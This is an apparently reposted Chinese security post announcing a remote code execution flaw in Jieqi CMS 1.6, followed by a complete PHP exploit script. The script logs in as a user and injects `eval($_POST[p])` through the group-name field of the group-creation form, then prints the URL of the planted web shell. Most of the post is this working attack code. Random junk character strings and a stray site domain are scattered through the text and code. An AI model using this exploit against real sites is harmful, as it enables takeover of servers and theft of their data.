杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
0 c+ s+ x( z8 _ ~2 ^8 I& P$ M8 m# ] D: N# n* V
0 Q' c# u( P+ R4 j该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
$ ^( q" H* L/ q6 ^% g4 F 需要有一个能创建圈子的用户。
; t5 f* x6 Y, h: [6 M3 L( j 6 i% h% X4 \0 B8 V$ ]5 _, z
<?php' T/ d, z" P* c0 G8 v' p! G" F
" r' D/ r$ W% l/ |+ J9 _5 w* Bprint_r('
$ n6 @9 G6 g3 J1 B7 v" }+---------------------------------------------------------------------------+3 f0 ^7 F7 ~" D; s! y- ~ G, ]8 H- V& w
Jieqi CMS V1.6 PHP Code Injection Exploit
- n- {, T5 |4 d, [; Z& ]2 wby flyh4t( u- Q+ W- D7 Q9 Q3 o6 l3 L
mail: phpsec at hotmail dot com: y) K. a3 [! S
team: http://www.wolvez.org
8 L) w1 l$ ^1 w7 ^/ H) Q2 {+---------------------------------------------------------------------------+4 C5 K, \6 e9 P' c1 \1 N8 B
'); /**
J* q2 G! k: |( @ * works regardless of php.ini settings. Y" P, G* Z5 {9 B* Z; X% }
*/ if ($argc < 5) { print_r('
( a) c1 B7 y4 c/ S: e+---------------------------------------------------------------------------+: x ^# ?0 p0 w! Q! C
Usage: php '.$argv[0].' host path username8 X! {) |( S, A7 h& v% S
host: target server (ip/hostname)8 U& w0 c; J5 H* P/ C; t7 K( \& ~6 W
path: path to jieqicms 7 h# y; X8 e/ |5 x l8 y8 R% C* w
uasename: a username who can create group0 B6 j0 c* {+ h$ m- H: d
Example:
7 L- a U6 N I8 c0 Rphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
* n' _1 S* x o* ^! f% U+---------------------------------------------------------------------------+; j, I1 J! L! U# W J2 n
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
/ G1 M0 u+ [( V8 s- j0 y0 ?Content-Disposition: form-data; name="gname"
8 s( z$ e9 u3 y$ M, @ % e' |4 O2 ^$ A; }# F- e; V
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
/ w6 u6 W$ g* i+ e) _-----------------------------23281168279961
) T1 @6 ]' f2 @$ l8 c/ h# w" ^Content-Disposition: form-data; name="gcatid"2 L# B7 A" v7 Q, ?2 ]9 v8 Z
( P) m3 W* ~7 {6 X. @, d1
' f5 q& p4 P# c- B) i& m" B% c-----------------------------23281168279961' p) o9 j8 U* a/ u
Content-Disposition: form-data; name="gaudit"
0 u4 G& ^2 s9 }3 C7 r
6 R9 I& d" o! u, x; W1
6 |3 n6 j5 N- m5 q+ n d& y-----------------------------23281168279961" |6 J% R( k# z7 c( h
Content-Disposition: form-data; name="gbrief"8 m6 A5 ]" @1 u8 F
( _, d( M- `2 ?' \; R3 F" i1
0 @/ Q; w; _: |0 M, j-----------------------------23281168279961--2 V, r4 X: J4 E$ i4 l5 d1 X# J
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
+ H( e0 V R) f4 i0 }+ \; m / {: i ]% [$ B) Z) v
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |